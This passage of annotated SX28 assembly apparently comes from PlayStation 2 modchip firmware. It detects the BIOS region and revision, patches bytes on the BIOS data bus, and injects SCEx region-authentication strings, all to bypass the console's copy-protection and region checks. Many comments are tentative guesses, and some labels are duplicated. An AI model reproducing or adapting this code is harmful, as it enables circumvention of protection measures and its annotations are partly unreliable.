pins Hi-Z inputs mov !IO_CDDVD_BUS,w ;set rb IO_CDDVD_BUS as inputs mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_BIOS_DATA,w ;set rc IO_BIOS_DATA as inputs mov w,#$c7 ;set w = #$c7 = 1100 0111 mov !option,w ; ? clr fsr mode $0009 ;!rb=Exchange WKPND_B clr w ;w = 0 mov !IO_CDDVD_BUS,w ;set IO_CDDVD_BUS Each bit indicates the status of the corresponding MIWU pin. ? ;A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ;The WKPND_B register comes up with undefine value upon reset mov VAR_PSX_BITC,w mode $000F ;XFh mode direction for RA, RB, RC output ; appears part of boot if boot is from ps1 auto detect due to VAR_PSX_BITC.2 VAR_PSX_BITC.1 checks snb pd ; ? if pd is true jmp CLEAR_CONSOLE_INFO_PREFIND jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 ; jmp PS1_BOOT_MODE if VAR_PSX_BITC.2 = 1 jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED if IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ; jmp POST_PATCH_4_MODE_START if VAR_PSX_BITC.1 = 1 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START jmp POST_PATCH_4_MODE_START page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP jmp PS2_MODE_RB_IO_SET_SLEEP ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PSX_BITC.1 = 0 CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ; clear any set VAR_PATCH_FLAGS clr VAR_SWITCH ; clear any set VAR_SWITCH jmp BIOS_GET_SYNC ; jmp to BIOS_GET_SYNC to start setting VAR_BIOS_REV, VAR_BIOS_YR, VAR_PATCH_FLAGS ;-------------------------------------------------------------------------------- MODE_SELECT_TIMER ;todo ; seems boot timer setting for decsz related to rtcc set ;-------------------------------------------------------------------------------- mov w,#$64 ;w = #$64 = 100 mov VAR_DC1,w ;set VAR_DC1 = #$64 =100 RTCC_SET_BIT mov w,#$3d ;w = #$3d = 61 mov rtcc,w ;rtcc = w RTCC_CHECK mov w,rtcc ;compare rtcc sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit ; IS TIME PRESSED FOR MODES jmp RTCC_SET_BIT retp ;Return from call,Same as RET but the return address bits 11, 10 & 9 (on the stack) are written to the page-select bits PA2, PA1 & PA0 in the STATUS register. ;Thus the page-select bits are properly set to the page being returned to. ;-------------------------------------------------------------------------------- SET_RB_IO_BUS ;todo ;-------------------------------------------------------------------------------- mode $000A ; rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. A bit ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb VAR_PATCH_FLAGS.7 :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb VAR_PATCH_FLAGS.5 jmp usa snb VAR_PATCH_FLAGS.4 jmp uk jmp jap usa clr VAR_TOFFSET ; clear VAR_TOFFSET so runs at byte 0 scea jmp send_byte uk mov w,#$8 mov VAR_TOFFSET,w ; jump 8 bytes of SCEx_DATA to scee jmp send_byte jap mov w,#$4 mov VAR_TOFFSET,w ; jump 4 bytes of SCEx_DATA to scei send_byte mov w,#$b mov !ra,w ; output:SCEX, input:all others mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w ; 4 bytes to send next_byte mov w,VAR_TOFFSET call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w ; 8 bits in a byte call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_TOFFSET decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX ; SCEX LOW mov w,#$16 mov VAR_TOFFSET,w send_end call SCEX_LOW decsz VAR_TOFFSET jmp send_end mov w,#$f ; input:all mov !ra,w ret ;-------------------------------------------------------------------------------- ;BIOS_VERSION_MATCHING ;todo sx48 is ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 ; v14 and v0 support need this captured for x.00 of bios and extra compare 1 or 2 routine with current jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0 ; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb VAR_PATCH_FLAGS.5 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb VAR_PATCH_FLAGS.4 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb VAR_PATCH_FLAGS.6 RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE ; jmp PS1_BOOT_MODE if reset is not held/pressed ;bios rev check for flagging patch route for mode CHECK_IF_V9to12 setb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 set here related to start mode Version of BIOS compare ? mov w,#$30 ; ASCII 0 v12 ; v14 v0 support needed check after byte4 1 or 2 compare mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$37 ; ASCII 7 50k v9-11 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$39 ; ASCII 9 50k v9-11 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$32 ; 32h = 50 mov VAR_DC1,w ; no match is assumed v1-v8 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w ; is byte = #$1e sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$1e jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w ; is byte = #$0 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$0 jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$63 mov w,IO_BIOS_DATA-w ; is byte = #$63 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$63 jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$34 mov w,IO_BIOS_DATA-w ; is byte = #$34 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$34 jmp START_BIOS_PATCH_SYNC_V1toV8 BIOS_PATCH_SYNC_V1toV8_LOOP1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 nop mov w,#$24 mov w,IO_BIOS_DATA-w ; is byte = #$24 sb z ; skip jump BIOS_PATCH_SYNC_V1toV8_LOOP1 if = #$24 jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$10 mov w,IO_BIOS_DATA-w ; is byte = #$10 sb z ; skip jump BIOS_PATCH_SYNC_V1toV8_LOOP1 if = #$10 jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 BIOS_PATCH_SYNC_V1toV8_LOOP2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V1toV8_LOOP2 BIOS_PATCH_SYNC_V1toV8_LOOP3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V1toV8_LOOP3 decsz VAR_DC1 ;skip if VAR_DC1 = 0. start ; 32h = 50 jmp BIOS_PATCH_SYNC_V1toV8_LOOP2 mov w,#$0 mov IO_BIOS_DATA,w ; make IO_BIOS_DATA = #$0 mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w ; patching 0 to bios call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patching 0 to bios mov IO_BIOS_DATA,w BIOS_PATCH_SYNC_V1toV8_LOOP4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V1toV8_LOOP4 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;IO_BIOS_DATA all set input, patching end jmp MODE_SELECT_START START_BIOS_PATCH_SYNC_V9toV12 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp START_BIOS_PATCH_SYNC_V9toV12 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP1 BIOS_PATCH_SYNC_V9toV12_LOOP2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP3 BIOS_PATCH_SYNC_V9toV12_LOOP4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP5 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP5 BIOS_PATCH_SYNC_V9toV12_LOOP6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP6 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA as output start patching once sync call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;IO_BIOS_DATA all set input, patch end done for futher sync MODE_SELECT_START mov w,#$a ;todo once understand rtcc for timer mov VAR_DC2,w ; VAR_DC2 = a = 10 = 1sec MODE_SELECT_TIMER_L1 call MODE_SELECT_TIMER snb IO_REST ; jmp TAP_BOOT_MODE IO_REST = 1 HIGH jmp TAP_BOOT_MODE ; jmp TAP_BOOT_MODE if reset is NOT held/pressed decsz VAR_DC2 ; if jmp MODE_SELECT_TIMER_L1 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ; skip MODE_SELECT_TIMER_L2 IO_REST = 1 HIGH jmp MODE_SELECT_TIMER_L2 ; skip jmp MODE_SELECT_TIMER_L2 if reset is not held/pressed mov w,#$5 mov VAR_DC2,w ; VAR_DC2 5dec MODE_SELECT_TIMER_L3 call MODE_SELECT_TIMER decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 ; jmp MODE_SELECT_TIMER_L3 mov w,#$64 ; 100dec mov VAR_DC2,w ; DISABLE_MODE call MODE_SELECT_TIMER sb IO_REST ; skip jmp DEV1_MODE_LOAD_START IO_REST = 1 HIGH not pressed page $0600 ; PAGE8 jmp DEV1_MODE_LOAD_START ; skip jmp DEV1_MODE_LOAD_START if reset is not pressed 4sec + reset tap in 10sec decsz VAR_DC2 ; 10 sec timer to loop for dev1 mode same 4sec hold but release and press reset again withing 10secs. jmp DISABLE_MODE ; loop for 10secs sleep ; no following press is modchip is disabled = sleep. kept till next standby ? PS1_BOOT_MODE clr fsr ; fsr ? clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related to cross ref on new mode run if last incomplete ? TAP_BOOT_MODE snb VAR_SWITCH.4 ; jmp DEV1_MODE_LOAD_START if VAR_SWITCH.4 = 1 . reset from boot mode kept from first standby mode set page $0600 ; PAGE8 jmp DEV1_MODE_LOAD_START setb VAR_PATCH_FLAGS.1 clrb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.3 clrb VAR_SWITCH.1 page $0200 ; PAGE2 jmp PS2_MODE_START CHECK_IF_START_PS2LOGO clr fsr sb VAR_PATCH_FLAGS.2 ; jmp START_PS2LOGO_PATCH_LOAD if VAR_PATCH_FLAGS.2 not set meaning last process finished page $0400 ; PAGE4 jmp START_PS2LOGO_PATCH_LOAD sb VAR_PATCH_FLAGS.2 jmp TRAY_IS_EJECTED TRAY_IS_EJECTED sb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED if IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w RESUME_MODE_FROM_EJECT_L2 mov w,#$3b mov rtcc,w ; timer related due to rtcc RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp RESUME_MODE_FROM_EJECT sb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED mov w,rtcc ; timer related due to rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_RB_IO_BUS clr fsr snb VAR_SWITCH.4 page $0600 ; PAGE8 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ; ascii 2 mov w,VAR_BIOS_YR-w snb z ; jmp CONSOLE_2002_JMP if VAR_BIOS_YR = #$32 = 2 ascii = 2002 jmp CONSOLE_2002_JMP mov w,#$1 ; doesnt run if 2002 mov VAR_TOFFSET,w ; doesnt run if 2002 CONSOLE_2002_JMP page $0600 ; PAGE8 jmp START_CDDVD_PATCH ; all run just VAR_TOFFSET set #$1 doesnt happen if not 2002 PS1_MODE_START_PATCH clr fsr clrb VAR_PATCH_FLAGS.7 mov w,#$ff mov VAR_PSX_TEMP,w RUN_PS1_SCEX_INJECT call SEND_SCEX ;sending scex string ;so is ps1mode area snb VAR_PATCH_FLAGS.7 ; jmp PS1_SCEX_INJECT_COMPLETE if VAR_PATCH_FLAGS.7 set ps1 string loop did finish ? jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP PS1_SCEX_INJECT_COMPLETE snb VAR_PATCH_FLAGS.0 jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ; ascii 2 mov w,VAR_BIOS_YR-w snb z ; jmp PS1_PALorNTSC if VAR_BIOS_YR = #$32 = 2 ascii = 2002 jmp PS1_PALorNTSC mov w,#$1 ; doesnt run if 2002 mov VAR_TOFFSET,w ; doesnt run if 2002 PS1_PALorNTSC snb VAR_PATCH_FLAGS.5 ; jmp PS1_CONSOLE_NTSC_YFIX if BIOS_USA set page $0400 ; PAGE4 jmp PS1_CONSOLE_NTSC_YFIX ; PS1_CONSOLE_NTSC_YFIX ntsc jmp snb VAR_PATCH_FLAGS.6 ; jmp PS1_CONSOLE_NTSC_YFIX if BIOS_JAP set page $0400 ; PAGE4 jmp PS1_CONSOLE_NTSC_YFIX ; PS1_CONSOLE_NTSC_YFIX ntsc jmp page $0400 ; PAGE4 jmp PS1_CONSOLE_PAL_YFIX ; jmp PS1_CONSOLE_PAL_YFIX if BIOS_JAP BIOS_USA not set mean pal org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- ;SX28_PAGE2 ;todo sx48 is same ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr retp ; patching done. Return from call ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $23 ; 0 retw $80 ; 1 retw $ac ; 2 retw $c ; 3 retw $0 ; 4 retw $0 ; 5 retw $0 ; 6 retw $24 ; 7 ; v5/6 start VAR_DC1 ? retw $10 ; 8 retw $3c ; 9 retw $e4 ; 10 retw $24 ; 11 retw $80 ; 12 retw $ac ; 13 retw $e4 ; 14 retw $22 ; 15 retw $90 ; 16 retw $ac ; 17 retw $84 ; 18 retw $bc ; 19 mov w,#$3f ; 20 ; 3fh = 63 mov VAR_DC3,w ; 21 ; VAR_DC3 = 63 jmp BIOS_PATCH_DATA_PART2_ALL ;22 ; straight jmp flow. might be byte counter set like bit counter VAR_TOFFSET in SCEx ? retw $24 ; 23 ; 1.7 bios start ? retw $10 ; 24 retw $3c ; 25 retw $74 ; 26 retw $2a ; 27 retw $80 ; 28 retw $ac ; 29 retw $74 ; 30 retw $28 ; 31 retw $90 ; 32 retw $ac ; 33 retw $bc ; 34 retw $d3 ; 35 mov w,#$3f ; 36 mov VAR_DC3,w ; 37 jmp BIOS_PATCH_DATA_PART2_ALL ; 38 ; straight jmp flow. might be byte counter set like bit counter VAR_TOFFSET in SCEx ? retw $24 ; 39 ; 1.9 2.0 bios start ? retw $10 ; 40 retw $3c ; 41 retw $e4 ; 42 retw $2c ; 43 retw $80 ; 44 retw $ac ; 45 retw $f4 ; 46 retw $2a ; 47 retw $90 ; 48 retw $ac ; 49 snb VAR_SWITCH.0 ; 50 jmp V12_CONSOLE_20_BIOS_JMP ; 51 ; jmp V12_CONSOLE_20_BIOS_JMP if VAR_SWITCH.0 set = V12_CONSOLE_20_BIOS mov w,#$36 ; 52 ; run all but skip till V12_CONSOLE_20_BIOS_JMP mov VAR_DC3,w ; 53 retw $a4 ; 54 retw $ec ; 55 mov w,#$3f ; 56 mov VAR_DC3,w ; 57 jmp BIOS_PATCH_DATA_PART2_ALL ; 58 V12_CONSOLE_20_BIOS_JMP mov w,#$3d ; 59 mov VAR_DC3,w ; 60 retw $c ; 61 retw $f9 ; 62 BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 ; all to land here part2 VAR_DC3 = 63 retw $34 ; 64 ;v2/3 start VAR_DC3 ? retw $0 ; 65 retw $0 ; 66 retw $30 ; 67 retw $ae ; 68 retw $c ; 69 retw $0 ; 70 retw $0 ; 71 retw $0 ; 72 ;v5/6 end ? retw $c7 ; 73 retw $2 ; 74 retw $34 ; 75 retw $19 ; 76 retw $19 ; 77 retw $e2 ; 78 retw $ba ; 79 retw $11 ; 80 retw $19 ; 81 retw $e2 ; 82 retw $ba ; 83 PS2_MODE_START clr fsr sb VAR_PATCH_FLAGS.2 jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH CHECK_IF_V1_v2or3_V4_V5to8 clr fsr mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to12_REV ;jmp CHECK_V9to12_REV if VAR_BIOS_REV didnt = 5 ascii V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$c mov IO_BIOS_DATA,w V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH CHECK_V9to12_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov 